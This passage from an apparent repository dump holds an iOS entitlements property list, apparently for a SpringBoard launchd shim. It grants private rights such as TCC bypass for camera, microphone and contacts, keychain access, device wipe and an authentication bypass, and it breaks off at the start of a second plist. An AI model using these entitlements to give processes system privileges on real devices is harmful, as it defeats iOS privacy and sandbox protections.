m.apple.mobilemail.mailservices</key>\n\t<true/>\n\t<key>com.apple.multitasking.systemappassertions</key>\n\t<true/>\n\t<key>com.apple.multitasking.termination</key>\n\t<true/>\n\t<key>com.apple.nano.nanoregistry.generalaccess</key>\n\t<true/>\n\t<key>com.apple.nfcd.hwmanager</key>\n\t<true/>\n\t<key>com.apple.nfcd.radio.powertoggle</key>\n\t<true/>\n\t<key>com.apple.nfcd.seshat</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.ecommerce</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.fieldOperations</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.peerpayment</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.reader.internal</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.se</key>\n\t<true/>\n\t<key>com.apple.nfcd.session.trust</key>\n\t<true/>\n\t<key>com.apple.nfcd.singleUser</key>\n\t<true/>\n\t<key>com.apple.notificationcenter.widgetcontrollerhascontent</key>\n\t<true/>\n\t<key>com.apple.osanalytics.otatasking-service-access</key>\n\t<true/>\n\t<key>com.apple.payment.configuration</key>\n\t<true/>\n\t<key>com.apple.payment.presentation</key>\n\t<true/>\n\t<key>com.apple.photos.bourgeoisie</key>\n\t<true/>\n\t<key>com.apple.pointerui.persistentlyHidePointer</key>\n\t<true/>\n\t<key>com.apple.pointerui.service-keep-alive-assertion</key>\n\t<true/>\n\t<key>com.apple.pointerui.set-system-cursor-interaction-context</key>\n\t<true/>\n\t<key>com.apple.posterboardservices.data-store</key>\n\t<true/>\n\t<key>com.apple.posterboardservices.data-store.accessSwitcherConfiguration</key>\n\t<true/>\n\t<key>com.apple.powerd.lowpowermode.allow</key>\n\t<true/>\n\t<key>com.apple.private.CallHistory.read</key>\n\t<true/>\n\t<key>com.apple.private.ClipServices</key>\n\t<true/>\n\t<key>com.apple.private.CoreAuthentication.SPI</key>\n\t<true/>\n\t<key>com.apple.private.InstallCoordination.allowed</key>\n\t<true/>\n\t<key>com.apple.private.MobileContainerManager.otherIdLookup</key>\n\t<true/>\n\t<key>com.apple.private.MobileGestalt.AllowedProtectedKeys</key>\n\t<array>\n\t\t<string>InverseDeviceID</string>\n\t</array>\n\t<key>com.apple.private.ReplayKitAngel.client</key>\n\t<true/>\n\t<key>com.apple.private.SafariServices.PasswordPicker.setRemoteAppProperties</key>\n\t<true/>\n\t<key>com.apple.private.ShazamKit</key>\n\t<true/>\n\t<key>com.apple.private.WebClips.read-write</key>\n\t<true/>\n\t<key>com.apple.private.accessories.showallconnections</key>\n\t<true/>\n\t<key>com.apple.private.accounts.allaccounts</key>\n\t<true/>\n\t<key>com.apple.private.activitykit.activityAuthorizer</key>\n\t<true/>\n\t<key>com.apple.private.activitykit.activityEnder</key>\n\t<false/>\n\t<key>com.apple.private.activitykit.alertPresenter</key>\n\t<false/>\n\t<key>com.apple.private.activitykit.assertionRequester</key>\n\t<false/>\n\t<key>com.apple.private.activitykit.listener</key>\n\t<false/>\n\t<key>com.apple.private.activitykit.presentationAssertionRequester</key>\n\t<false/>\n\t<key>com.apple.private.activitykit.prominenceObserver</key>\n\t<false/>\n\t<key>com.apple.private.airdrop.settings</key>\n\t<true/>\n\t<key>com.apple.private.appleaccount.app-hidden-from-icloud-settings</key>\n\t<true/>\n\t<key>com.apple.private.applecredentialmanager.allow</key>\n\t<true/>\n\t<key>com.apple.private.appstored</key>\n\t<array>\n\t\t<string>Repair</string>\n\t\t<string>TestFlightFeedback</string>\n\t\t<string>StoreKitExternalNotification</string>\n\t\t<string>Update</string>\n\t</array>\n\t<key>com.apple.private.assets.accessible-asset-types</key>\n\t<array>\n\t\t<string>com.apple.MobileAsset.DuetExpertCenterAsset</string>\n\t</array>\n\t<key>com.apple.private.attentionawareness</key>\n\t<true/>\n\t<key>com.apple.private.attentionawareness.poll</key>\n\t<true/>\n\t<key>com.apple.private.attribution.implicitly-assumed-identity</key>\n\t<dict>\n\t\t<key>type</key>\n\t\t<string>path</string>\n\t\t<key>value</key>\n\t\t<string>/System/Library/CoreServices/SpringBoard.app/SpringBoard</string>\n\t</dict>\n\t<key>com.apple.private.barcodesupport.allowNotifications</key>\n\t<true/>\n\t<key>com.apple.private.biome.read-only</key>\n\t<array>\n\t\t<string>AppLaunch</string>\n\t\t<string>InferredMode</string>\n\t\t<string>Notification</string>\n\t\t<string>ScreenSharing</string>\n\t\t<string>HomeKitClientAccessoryControl</string>\n\t\t<string>HomeKitClientMediaAccessoryControl</string>\n\t\t<string>HomeKitClientActionSet</string>\n\t</array>\n\t<key>com.apple.private.biome.read-write</key>\n\t<array>\n\t\t<string>SiriUI</string>\n\t\t<string>Device.Display.Appearance</string>\n\t\t<string>Device.Display.AlwaysOn</string>\n\t\t<string>OSAnalytics.Hardware.Reliability</string>\n\t</array>\n\t<key>com.apple.private.biome.realTimeSensorSession</key>\n\t<true/>\n\t<key>com.apple.private.bmk.allow</key>\n\t<true/>\n\t<key>com.apple.private.calendar.allow-suggestions</key>\n\t<true/>\n\t<key>com.apple.private.canGetAppLinkInfo</key>\n\t<true/>\n\t<key>com.apple.private.canModifyAppLinkPermissions</key>\n\t<true/>\n\t<key>com.apple.private.carkit</key>\n\t<true/>\n\t<key>com.apple.private.carkit.app</key>\n\t<true/>\n\t<key>com.apple.private.carkit.dnd</key>\n\t<true/>\n\t<key>com.apple.private.clouddocs.can-grant-access-to-document</key>\n\t<true/>\n\t<key>com.apple.private.contactsui</key>\n\t<true/>\n\t<key>com.apple.private.coordination.alarms</key>\n\t<true/>\n\t<key>com.apple.private.coordination.timers</key>\n\t<true/>\n\t<key>com.apple.private.coreaudio.borrowaudiosession.allow</key>\n\t<true/>\n\t<key>com.apple.private.coreaudio.mxsessionPropertyPipe</key>\n\t<true/>\n\t<key>com.apple.private.coremedia.interruptions.phonecallpriority.allow</key>\n\t<true/>\n\t<key>com.apple.private.corerecents</key>\n\t<true/>\n\t<key>com.apple.private.coreservices.canmaplsdatabase</key>\n\t<true/>\n\t<key>com.apple.private.coreservices.canopenactivity</key>\n\t<true/>\n\t<key>com.apple.private.coreservices.lsuseractivityd.bestappsuggestion</key>\n\t<true/>\n\t<key>com.apple.private.corespotlight.internal</key>\n\t<true/>\n\t<key>com.apple.private.corespotlight.search.internal</key>\n\t<true/>\n\t<key>com.apple.private.corewifi.internal</key>\n\t<true/>\n\t<key>com.apple.private.dmd.policy</key>\n\t<true/>\n\t<key>com.apple.private.donotdisturb.behavior.resolution.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.springboard.SBBulletinSpokenObserverGateway</string>\n\t\t<string>com.apple.springboard.NCBulletinNotificationSource</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.mode.assertion.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.donotdisturb.control-center.module</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.donotdisturb.hid</string>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.mode.assertion.user-requested.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.donotdisturb.control-center.module</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.donotdisturb.hid</string>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.modeconfiguration.modify.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.focussettingsui.activity-config</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.NCModeManager</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.modeconfiguration.request.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.focussettingsui.activity-config</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.NCModeManager</string>\n\t\t<string>com.apple.proactive.AppPredictionClient</string>\n\t\t<string>com.apple.springboard.focusappconfigurationcontextmonitor</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.modeconfiguration.updates.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.focussettingsui.activity-config</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.proactive.AppPredictionClient</string>\n\t\t<string>com.apple.springboard.SBIconController</string>\n\t\t<string>com.apple.springboard.NCModeManager</string>\n\t\t<string>com.apple.springboard.focusappconfigurationcontextmonitor</string>\n\t\t<string>com.apple.FocusSettings</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.settings.request.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.donotdisturb.control-center.module</string>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.springboard.SBIconController</string>\n\t\t<string>com.apple.proactive.AppPredictionClient</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.settings.updates.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.state.request.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.springboard.SBIconController</string>\n\t\t<string>com.apple.springboard.SBDashBoardCombinedListViewController</string>\n\t\t<string>com.apple.donotdisturb.control-center.module</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.donotdisturb.awdmetrics</string>\n\t\t<string>com.apple.springboard.dashboard.bedtime</string>\n\t\t<string>com.apple.accessibility.visual.alerts</string>\n\t\t<string>com.apple.springboard.donotdisturb.hid</string>\n\t\t<string>com.apple.springboard.SBDoNotDisturbMetric</string>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.springboard.NCModeManager</string>\n\t\t<string>com.apple.springboard.dndstatemonitor</string>\n\t\t<string>com.apple.springboard.CoverSheetDiscoveryProvider</string>\n\t</array>\n\t<key>com.apple.private.donotdisturb.state.updates.client-identifiers</key>\n\t<array>\n\t\t<string>com.apple.springboard.SBIconController</string>\n\t\t<string>com.apple.springboard.SBDashBoardCombinedListViewController</string>\n\t\t<string>com.apple.donotdisturb.control-center.module</string>\n\t\t<string>com.apple.springboard.donotdisturb.notifications</string>\n\t\t<string>com.apple.springboard.donotdisturb.awdmetrics</string>\n\t\t<string>com.apple.springboard.dashboard.bedtime</string>\n\t\t<string>com.apple.accessibility.visual.alerts</string>\n\t\t<string>com.apple.springboard.donotdisturb.hid</string>\n\t\t<string>com.apple.springboard.SBDoNotDisturbMetric</string>\n\t\t<string>com.apple.focus.activity-manager</string>\n\t\t<string>com.apple.springboard.NCModeManager</string>\n\t\t<string>com.apple.springboard.dndstatemonitor</string>\n\t\t<string>com.apple.springboard.CoverSheetDiscoveryProvider</string>\n\t</array>\n\t<key>com.apple.private.externalaccessory.showallaccessories</key>\n\t<true/>\n\t<key>com.apple.private.followup</key>\n\t<true/>\n\t<key>com.apple.private.game-center</key>\n\t<array>\n\t\t<string>Account</string>\n\t\t<string>Games</string>\n\t</array>\n\t<key>com.apple.private.game-center.bypass-authentication</key>\n\t<true/>\n\t<key>com.apple.private.healthkit</key>\n\t<true/>\n\t<key>com.apple.private.healthkit.feature-availability.read</key>\n\t<array>\n\t\t<string>SleepCoaching</string>\n\t</array>\n\t<key>com.apple.private.healthkit.read_authorization_override</key>\n\t<array>\n\t\t<string>HKCategoryTypeIdentifierSleepAnalysis</string>\n\t</array>\n\t<key>com.apple.private.healthkit.source_override</key>\n\t<string>com.apple.mobiletimer</string>\n\t<key>com.apple.private.healthkit.write_authorization_override</key>\n\t<array>\n\t\t<string>HKCategoryTypeIdentifierSleepAnalysis</string>\n\t</array>\n\t<key>com.apple.private.hid.client.event-dispatch</key>\n\t<true/>\n\t<key>com.apple.private.hid.client.service-protected</key>\n\t<true/>\n\t<key>com.apple.private.hid.manager.client</key>\n\t<true/>\n\t<key>com.apple.private.homekit</key>\n\t<true/>\n\t<key>com.apple.private.homekit.allow-secure-access</key>\n\t<true/>\n\t<key>com.apple.private.icfcallserver</key>\n\t<true/>\n\t<key>com.apple.private.ids.idsquery</key>\n\t<true/>\n\t<key>com.apple.private.ids.messaging</key>\n\t<array>\n\t\t<string>com.apple.private.alloy.bulletinboard</string>\n\t\t<string>com.apple.private.alloy.donotdisturb</string>\n\t\t<string>com.apple.madrid</string>\n\t\t<string>com.apple.private.alloy.siri.phrasespotter</string>\n\t</array>\n\t<key>com.apple.private.ids.messaging.urgent-priority</key>\n\t<array>\n\t\t<string>com.apple.private.alloy.bulletinboard</string>\n\t\t<string>com.apple.private.alloy.donotdisturb</string>\n\t\t<string>com.apple.private.alloy.siri.phrasespotter</string>\n\t</array>\n\t<key>com.apple.private.ids.registration-reset</key>\n\t<true/>\n\t<key>com.apple.private.imavcore.imavagent</key>\n\t<true/>\n\t<key>com.apple.private.imcore.imdpersistence.database-access</key>\n\t<true/>\n\t<key>com.apple.private.imcore.imremoteurlconnection</key>\n\t<true/>\n\t<key>com.apple.private.imcore.spi.database-access</key>\n\t<true/>\n\t<key>com.apple.private.in-app-payments</key>\n\t<true/>\n\t<key>com.apple.private.iokit.powersource-control</key>\n\t<true/>\n\t<key>com.apple.private.kernel.darkboot</key>\n\t<true/>\n\t<key>com.apple.private.kernel.jetsam</key>\n\t<true/>\n\t<key>com.apple.private.librarian.can-get-application-info</key>\n\t<true/>\n\t<key>com.apple.private.lockdown.finegrained-get</key>\n\t<array>\n\t\t<string>NULL/ActivationState</string>\n\t\t<string>NULL/BrickState</string>\n\t\t<string>NULL/SBLockdownEverRegisteredKey</string>\n\t\t<string>com.apple.xcode.developerdomain/DeveloperStatus</string>\n\t\t<string>NULL/BuildExpireTime</string>\n\t</array>\n\t<key>com.apple.private.lockdown.finegrained-remove</key>\n\t<array>\n\t\t<string>com.apple.mobile.iTunes.store/AppleID</string>\n\t\t<string>com.apple.mobile.data_sync/Contacts</string>\n\t\t<string>com.apple.mobile.data_sync/Calendars</string>\n\t\t<string>com.apple.mobile.data_sync/Bookmarks</string>\n\t\t<string>com.apple.mobile.data_sync/Mail Accounts</string>\n\t</array>\n\t<key>com.apple.private.mediaexperience.allowemergencyalertpriority</key>\n\t<true/>\n\t<key>com.apple.private.mediasafetynet.exception.notificationappex</key>\n\t<true/>\n\t<key>com.apple.private.mis.online_auth_agent</key>\n\t<true/>\n\t<key>com.apple.private.mobileinstall.allowedSPI</key>\n\t<array>\n\t\t<string>UninstallForLaunchServices</string>\n\t\t<string>SetCapabilities</string>\n\t\t<string>Lookup</string>\n\t</array>\n\t<key>com.apple.private.mobilesafari.searchengine</key>\n\t<true/>\n\t<key>com.apple.private.mobilestoredemo.enabledemo</key>\n\t<array>\n\t\t<string>Manage</string>\n\t</array>\n\t<key>com.apple.private.mobiletimerd</key>\n\t<true/>\n\t<key>com.apple.private.nearbyinteraction.system-shutdown</key>\n\t<true/>\n\t<key>com.apple.private.network.socket-delegate</key>\n\t<true/>\n\t<key>com.apple.private.networkextension.configuration</key>\n\t<true/>\n\t<key>com.apple.private.persona.read</key>\n\t<true/>\n\t<key>com.apple.private.photos.service.demo</key>\n\t<true/>\n\t<key>com.apple.private.photos.service.multilibrary</key>\n\t<true/>\n\t<key>com.apple.private.ppm.superclient</key>\n\t<true/>\n\t<key>com.apple.private.replay-kit</key>\n\t<true/>\n\t<key>com.apple.private.rtcreportingd</key>\n\t<true/>\n\t<key>com.apple.private.screen-time</key>\n\t<true/>\n\t<key>com.apple.private.security.container-manager</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.AppDataContainers</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.Calendar</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.Photos</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.clipserviced</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.familycircled</key>\n\t<true/>\n\t<key>com.apple.private.security.storage.triald</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.alertPresenter</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.assertionRequester</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.custom-platter-target</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.listener</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.permitMultipleProcessInputs</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.presentationAssertionRequester</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.prominenceObserver</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.sessionFinisher</key>\n\t<true/>\n\t<key>com.apple.private.sessionkit.sessionRequest</key>\n\t<true/>\n\t<key>com.apple.private.sharing.unlock-manager</key>\n\t<true/>\n\t<key>com.apple.private.shazamkit.allow-external-audio-recording</key>\n\t<true/>\n\t<key>com.apple.private.shazamkit.allow-internal-audio-recording</key>\n\t<true/>\n\t<key>com.apple.private.sleepd</key>\n\t<true/>\n\t<key>com.apple.private.suggestions.contacts</key>\n\t<true/>\n\t<key>com.apple.private.suggestions.events</key>\n\t<true/>\n\t<key>com.apple.private.system-keychain</key>\n\t<true/>\n\t<key>com.apple.private.tcc.allow</key>\n\t<array>\n\t\t<string>kTCCServiceAddressBook</string>\n\t\t<string>kTCCServiceCalendar</string>\n\t\t<string>kTCCServiceReminders</string>\n\t\t<string>kTCCServicePhotos</string>\n\t\t<string>kTCCServicePhotosAdd</string>\n\t\t<string>kTCCServiceMediaLibrary</string>\n\t\t<string>kTCCServiceMicrophone</string>\n\t\t<string>kTCCServiceCamera</string>\n\t\t<string>kTCCServiceWillow</string>\n\t\t<string>kTCCServiceFaceID</string>\n\t\t<string>kTCCServiceBluetoothAlways</string>\n\t</array>\n\t<key>com.apple.private.tcc.manager.access.read</key>\n\t<array>\n\t\t<string>kTCCServiceFocusStatus</string>\n\t</array>\n\t<key>com.apple.private.tipsd.discoverability</key>\n\t<true/>\n\t<key>com.apple.private.tty.settings</key>\n\t<true/>\n\t<key>com.apple.private.ubiquity-kvstore-access</key>\n\t<array>\n\t\t<string>com.apple.weather</string>\n\t\t<string>com.apple.stocks</string>\n\t\t<string>com.apple.backboardd</string>\n\t\t<string>com.apple.Accessibility</string>\n\t\t<string>com.apple.Accessibility.SwitchControl</string>\n\t\t<string>com.apple.Accessibility.TouchAccommodations</string>\n\t\t<string>com.apple.AssistiveTouch</string>\n\t\t<string>com.apple.HearingAids</string>\n\t\t<string>com.apple.SpeakSelection</string>\n\t\t<string>com.apple.VoiceOverTouch</string>\n\t\t<string>com.apple.ZoomTouch</string>\n\t</array>\n\t<key>com.apple.private.usernotifications.bundle-identifiers</key>\n\t<array>\n\t\t<string>com.apple.donotdisturb</string>\n\t\t<string>com.apple.mobiletimer</string>\n\t\t<string>com.apple.usernotifications.example</string>\n\t</array>\n\t<key>com.apple.private.usernotifications.settings</key>\n\t<array>\n\t\t<string>read</string>\n\t</array>\n\t<key>com.apple.private.vfs.allow-low-space-writes</key>\n\t<true/>\n\t<key>com.apple.private.vfs.open-by-id</key>\n\t<true/>\n\t<key>com.apple.private.wallpaperkit.service.migration</key>\n\t<true/>\n\t<key>com.apple.private.xpc.launchd.app-server</key>\n\t<true/>\n\t<key>com.apple.proactive.ActionPrediction.predictions</key>\n\t<true/>\n\t<key>com.apple.proactive.AppPrediction.predictions</key>\n\t<true/>\n\t<key>com.apple.proactive.DefaultWidgetSuggester</key>\n\t<true/>\n\t<key>com.apple.proactive.NotificationDigest.xpc</key>\n\t<true/>\n\t<key>com.apple.proactive.ProactiveSuggestionClientModel.xpc</key>\n\t<true/>\n\t<key>com.apple.proactive.SuggestedPages</key>\n\t<true/>\n\t<key>com.apple.proactive.UserEducationSuggestion.server-listener.xpc</key>\n\t<true/>\n\t<key>com.apple.proactive.appDirectory</key>\n\t<true/>\n\t<key>com.apple.proactive.eventtracker</key>\n\t<true/>\n\t<key>com.apple.proactive.hero.AppPrediction.predictions</key>\n\t<true/>\n\t<key>com.apple.proactive.infoSuggestion.xpc</key>\n\t<true/>\n\t<key>com.apple.purplebuddy.budd.access</key>\n\t<true/>\n\t<key>com.apple.remotenotification.access</key>\n\t<true/>\n\t<key>com.apple.remotenotification.preferences</key>\n\t<true/>\n\t<key>com.apple.rootless.storage.com.apple.MobileAsset.DuetExpertCenterAsset</key>\n\t<true/>\n\t<key>com.apple.rootless.storage.coreduet_knowledge_store</key>\n\t<true/>\n\t<key>com.apple.rootless.storage.proactivepredictions</key>\n\t<true/>\n\t<key>com.apple.runningboard.hereditarygrantoriginator</key>\n\t<true/>\n\t<key>com.apple.runningboard.posterkit.host</key>\n\t<true/>\n\t<key>com.apple.runningboard.primitiveattribute</key>\n\t<true/>\n\t<key>com.apple.runningboard.process-state</key>\n\t<true/>\n\t<key>com.apple.runningboard.request.identity</key>\n\t<true/>\n\t<key>com.apple.runningboard.terminateprocess</key>\n\t<true/>\n\t<key>com.apple.runningboard.underlyingassertion</key>\n\t<true/>\n\t<key>com.apple.securebackupd.access</key>\n\t<true/>\n\t<key>com.apple.security.application-groups</key>\n\t<array>\n\t\t<string>group.com.apple.weather</string>\n\t\t<string>group.com.apple.stocks</string>\n\t\t<string>com.apple.Home.group</string>\n\t</array>\n\t<key>com.apple.security.enterprise-volume-access</key>\n\t<true/>\n\t<key>com.apple.security.exception.files.absolute-path.read-only</key>\n\t<array>\n\t\t<string>/private/var/mobile/Library/Trial/NamespaceDescriptors/</string>\n\t\t<string>/private/var/mobile/Library/Trial/Treatments/180/</string>\n\t</array>\n\t<key>com.apple.security.exception.mach-lookup.global-name</key>\n\t<array>\n\t\t<string>com.apple.sirittsd</string>\n\t\t<string>com.apple.proactive.UserEducationSuggestion.server-listener.xpc</string>\n\t\t<string>com.apple.Photos.MultiLibrary</string>\n\t\t<string>com.apple.abm.helper.mobile</string>\n\t\t<string>com.apple.siri.activation.service</string>\n\t\t<string>com.apple.springboard.SBRendererService</string>\n\t\t<string>com.apple.appstored.xpc</string>\n\t\t<string>com.apple.appstored.xpc.request</string>\n\t\t<string>com.apple.PointerUI.pointeruid.service-launching</string>\n\t\t<string>com.apple.proactive.appDirectory</string>\n\t\t<string>com.apple.CarPlayApp.service</string>\n\t\t<string>com.apple.sleepd.sleepserver</string>\n\t\t<string>com.apple.donotdisturb.service</string>\n\t\t<string>com.apple.coordination.alarms</string>\n\t\t<string>com.apple.coordination.timers</string>\n\t\t<string>com.apple.tipsd</string>\n\t\t<string>com.apple.ModeEntityScorer</string>\n\t\t<string>com.apple.proactive.NotificationDigest.xpc</string>\n\t\t<string>com.apple.assistant.announcement_state.service</string>\n\t\t<string>com.apple.icloud.searchpartyd.beaconmanager</string>\n\t\t<string>com.apple.server.bluetooth.general.xpc</string>\n\t\t<string>com.apple.powerd.smartpowernap</string>\n\t\t<string>com.apple.biomesyncd.realTimeSession</string>\n\t\t<string>com.apple.sessionservices</string>\n\t\t<string>aps-connection-initiate</string>\n\t\t<string>com.apple.mobileassetd.v2</string>\n\t\t<string>com.apple.HearingApp</string>\n\t</array>\n\t<key>com.apple.security.exception.shared-preference.read-only</key>\n\t<array>\n\t\t<string>com.apple.appstored</string>\n\t\t<string>com.apple.itunesstored</string>\n\t\t<string>com.apple.suggestions</string>\n\t</array>\n\t<key>com.apple.security.iokit-user-client-class</key>\n\t<array>\n\t\t<string>AGXCommandQueue</string>\n\t\t<string>AGXDevice</string>\n\t\t<string>AGXDeviceUserClient</string>\n\t\t<string>AGXSharedUserClient</string>\n\t\t<string>AppleCredentialManagerUserClient</string>\n\t\t<string>AppleJPEGDriverUserClient</string>\n\t\t<string>ApplePPMUserClient</string>\n\t\t<string>AppleSPUHIDDeviceUserClient</string>\n\t\t<string>AppleSPUHIDDriverUserClient</string>\n\t\t<string>IOAccelContext</string>\n\t\t<string>IOAccelContext2</string>\n\t\t<string>IOAccelDevice</string>\n\t\t<string>IOAccelDevice2</string>\n\t\t<string>IOAccelSharedUserClient</string>\n\t\t<string>IOAccelSharedUserClient2</string>\n\t\t<string>IOAccelSubmitter2</string>\n\t\t<string>IOHIDEventServiceFastPathUserClient</string>\n\t\t<string>IOHIDLibUserClient</string>\n\t\t<string>IOMobileFramebufferUserClient</string>\n\t\t<string>IOReportUserClient</string>\n\t\t<string>IOSurfaceAcceleratorClient</string>\n\t\t<string>IOSurfaceRootUserClient</string>\n\t\t<string>RootDomainUserClient</string>\n\t\t<string>IOGPUDeviceUserClient</string>\n\t</array>\n\t<key>com.apple.security.system-container</key>\n\t<true/>\n\t<key>com.apple.security.system-groups</key>\n\t<array>\n\t\t<string>systemgroup.com.apple.sharedpclogging</string>\n\t\t<string>systemgroup.com.apple.regulatory_images</string>\n\t\t<string>systemgroup.com.apple.userimagecache</string>\n\t</array>\n\t<key>com.apple.seld.tsmamnager</key>\n\t<true/>\n\t<key>com.apple.seserviced.key</key>\n\t<true/>\n\t<key>com.apple.seserviced.kmlXpcService</key>\n\t<true/>\n\t<key>com.apple.sharing.Client</key>\n\t<true/>\n\t<key>com.apple.sharing.CoordinatedAlerts</key>\n\t<true/>\n\t<key>com.apple.sharing.Diagnostics</key>\n\t<true/>\n\t<key>com.apple.sharing.Session</key>\n\t<true/>\n\t<key>com.apple.siri.VoiceShortcuts.xpc</key>\n\t<true/>\n\t<key>com.apple.siri.activation.assertion</key>\n\t<true/>\n\t<key>com.apple.siri.activation.button-event.listener</key>\n\t<true/>\n\t<key>com.apple.siri.activation.service</key>\n\t<true/>\n\t<key>com.apple.siri.client_lite</key>\n\t<true/>\n\t<key>com.apple.siri.external_request</key>\n\t<true/>\n\t<key>com.apple.sos.trigger</key>\n\t<true/>\n\t<key>com.apple.soundscapes.picker</key>\n\t<true/>\n\t<key>com.apple.splashboard.launch-image-capture</key>\n\t<true/>\n\t<key>com.apple.springboard-ui.client</key>\n\t<true/>\n\t<key>com.apple.springboard.activateRemoteAlert</key>\n\t<true/>\n\t<key>com.apple.springboard.activateawayviewplugins</key>\n\t<true/>\n\t<key>com.apple.springboard.allowallcallurls</key>\n\t<true/>\n\t<key>com.apple.springboard.application-removability.proxy</key>\n\t<true/>\n\t<key>com.apple.springboard.display-lookup</key>\n\t<true/>\n\t<key>com.apple.springboard.lockScreenContentAssertion</key>\n\t<true/>\n\t<key>com.apple.springboard.multiwindow.triggerShowAllWindows</key>\n\t<true/>\n\t<key>com.apple.springboard.opensensitiveurl</key>\n\t<true/>\n\t<key>com.apple.springboard.openurlswhenlocked</key>\n\t<true/>\n\t<key>com.apple.springboard.setbadgestring</key>\n\t<true/>\n\t<key>com.apple.springboard.shortcutitems.fullaccess</key>\n\t<true/>\n\t<key>com.apple.springboard.statusbarstyleoverrides</key>\n\t<true/>\n\t<key>com.apple.springboard.statusbarstyleoverrides.coordinator</key>\n\t<array>\n\t\t<string>UIStatusBarStyleOverrideAutoAirPlayReady</string>\n\t\t<string>UIStatusBarStyleOverrideAutoAirPlayPlaying</string>\n\t</array>\n\t<key>com.apple.symptom_analytics.query</key>\n\t<true/>\n\t<key>com.apple.symptom_analytics.refresh</key>\n\t<true/>\n\t<key>com.apple.symptoms.NetworkOfInterest</key>\n\t<true/>\n\t<key>com.apple.telephonyutilities.callservicesd</key>\n\t<array>\n\t\t<string>access-calls</string>\n\t\t<string>modify-calls</string>\n\t\t<string>access-call-providers</string>\n\t\t<string>access-moments</string>\n\t</array>\n\t<key>com.apple.timed</key>\n\t<true/>\n\t<key>com.apple.trial.client</key>\n\t<array>\n\t\t<string>962</string>\n\t</array>\n\t<key>com.apple.tzlink.allow</key>\n\t<true/>\n\t<key>com.apple.ui-services-discovery</key>\n\t<true/>\n\t<key>com.apple.videoconference.allow-conferencing</key>\n\t<true/>\n\t<key>com.apple.visualvoicemail.client</key>\n\t<true/>\n\t<key>com.apple.voiceservices.tts.customvoice</key>\n\t<true/>\n\t<key>com.apple.voicetrigger.voicetriggerservice</key>\n\t<true/>\n\t<key>com.apple.wallet.banner</key>\n\t<true/>\n\t<key>com.apple.watchlist.private</key>\n\t<true/>\n\t<key>com.apple.wifi.manager-access</key>\n\t<true/>\n\t<key>com.apple.wipedevice</key>\n\t<true/>\n\t<key>fairplay-client</key>\n\t<string>1172857363</string>\n\t<key>keychain-access-groups</key>\n\t<array>\n\t\t<string>apple</string>\n\t\t<string>com.apple.preferences</string>\n\t</array>\n\t<key>vm-pressure-level</key>\n\t<true/>\n</dict>\n</plist>\n"
  },
  {
    "path": "RootHelperSample/launchdshim/SpringBoardShim/SpringBoardEntsBedtime.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\n    <key>platform-application</key>\n    <true/>\n    <key>com.apple.private.security.container-required</key>\n    